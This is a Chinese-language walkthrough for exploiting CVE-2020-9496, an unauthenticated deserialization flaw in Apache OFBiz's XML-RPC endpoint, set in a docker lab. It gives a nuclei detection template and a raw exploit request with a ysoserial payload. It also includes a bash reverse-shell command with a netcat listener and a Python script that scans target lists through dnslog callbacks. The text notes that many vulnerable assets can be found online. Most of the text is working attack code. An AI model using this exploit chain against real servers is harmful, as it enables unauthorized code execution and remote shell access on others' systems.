Apache Ofbiz介绍
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
漏洞概述
Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。
漏洞影响版本
ApacheOfbiz:<17.12.04
环境搭建
本次环境使用vulhub搭建
dockerpull andyjunghans/ofbizdocker run -p 8080:8080 -p8443:8443 andyjunghans/ofbiz
访问ip:8080/webtools/control/xmlrpc即可看到入口点
漏洞复现
Poc
id: CVE-2020-9496 info: name: Apache OFBiz XML-RPC Java Deserialization author: dwisiswant0 severity: medium # This temaplte detects a Java deserialization vulnerability in Apache # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for # versions prior to 17.12.04. # -- # References: # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz requests: - raw: - | POST /webtools/control/xmlrpc HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall> matchers-condition: and matchers: - type: word words: - "faultString" - "No such service [ProjectDiscovery]" - "methodResponse" condition: and part: body - type: word words: - "Content-Type: text/xml" part: header - type: status status: - 200
根据这个yaml,可以了解到,当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service [ProjectDiscovery],methodResponse证明有漏洞存在。
代码执行
Burp抓包,把数据包替换成以下数据包
POST /webtools/control/xmlrpc HTTP/1.1Host: 192.168.240.141:8443Content-Type: application/xmlContent-Length: 4125 <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">payload</serializable></value></member></struct></value></param></params></methodCall>
使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件(无回显)
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d '\n'
复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功
进入容器查看成功写入
docker exec -it 容器id /bin/bash
反弹shell
去以下网址把反弹shellpayload进行base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html
bash反弹命令:bash-i >& /dev/tcp/ip/port 0>&1
把编码后的shell在使用ysoserial工具进行一次base64编码
java -jar ysoserial.jar CommonsBeanutils1 "base64-payload" | base64 | tr -d '\n'
nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell
通过搜索引擎发现资产还是很多的
检测脚本
无回显通过dnslog进行检测验证
import sysimport argparseimport subprocessimport requestsfrom time import sleepimport base64from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+-------------------+') print('| author:lemonlove7 |') print('| use:python poc.py |') print('+-------------------+') def dnslog(): global dns_session dns_session = requests.session() dns = dns_session.get('http://www.dnslog.cn/getdomain.php') return dns.text def dnslog_res(): dns_res = dns_session.get('http://www.dnslog.cn/getrecords.php') if dns_res.json(): return True else: return False def CVE_2020_9496(target_url): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) headers = {'Content-Type': 'application/xml'} # popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "CommonsBeanutils1", 'ping '+dnslog()], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "URLDNS", 'http://'+dnslog()], stdout=subprocess.PIPE) data = base64.b64encode(popen.stdout.read()) post_data = f'''<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{str(data, 'utf-8')}</serializable></value></member></struct></value></param></params></methodCall>''' if target_url.startswith('https://'): vuln_url = target_url + "/webtools/control/xmlrpc" else: vuln_url = 'https://' + target_url + "/webtools/control/xmlrpc" try: r = requests.post(vuln_url, data=post_data, headers=headers, verify=False, timeout=5) if r.status_code == 200: sleep(2) if dnslog_res(): print(f'[+] {target_url} dnslog验证成功,漏洞存在') return True else: print(f'[x] {target_url} 利用失败') except Exception: print(f"[x] {target_url} poc请求失败 ") if __name__ == '__main__': if len(sys.argv) == 1: title() sys.exit() parser = argparse.ArgumentParser(description='''CVE-2020-9496 help''') parser.add_argument('-u', '--url', help='请输入url', default='') parser.add_argument('-f', '--file', help='请输入file', default='') args = parser.parse_args() url = args.url file = args.file if url != '': target_url=url if target_url: CVE_2020_9496(target_url) if file !='': f = open(file,'r') for i in f.readlines(): url=i.strip() if url: CVE_2020_9496(url)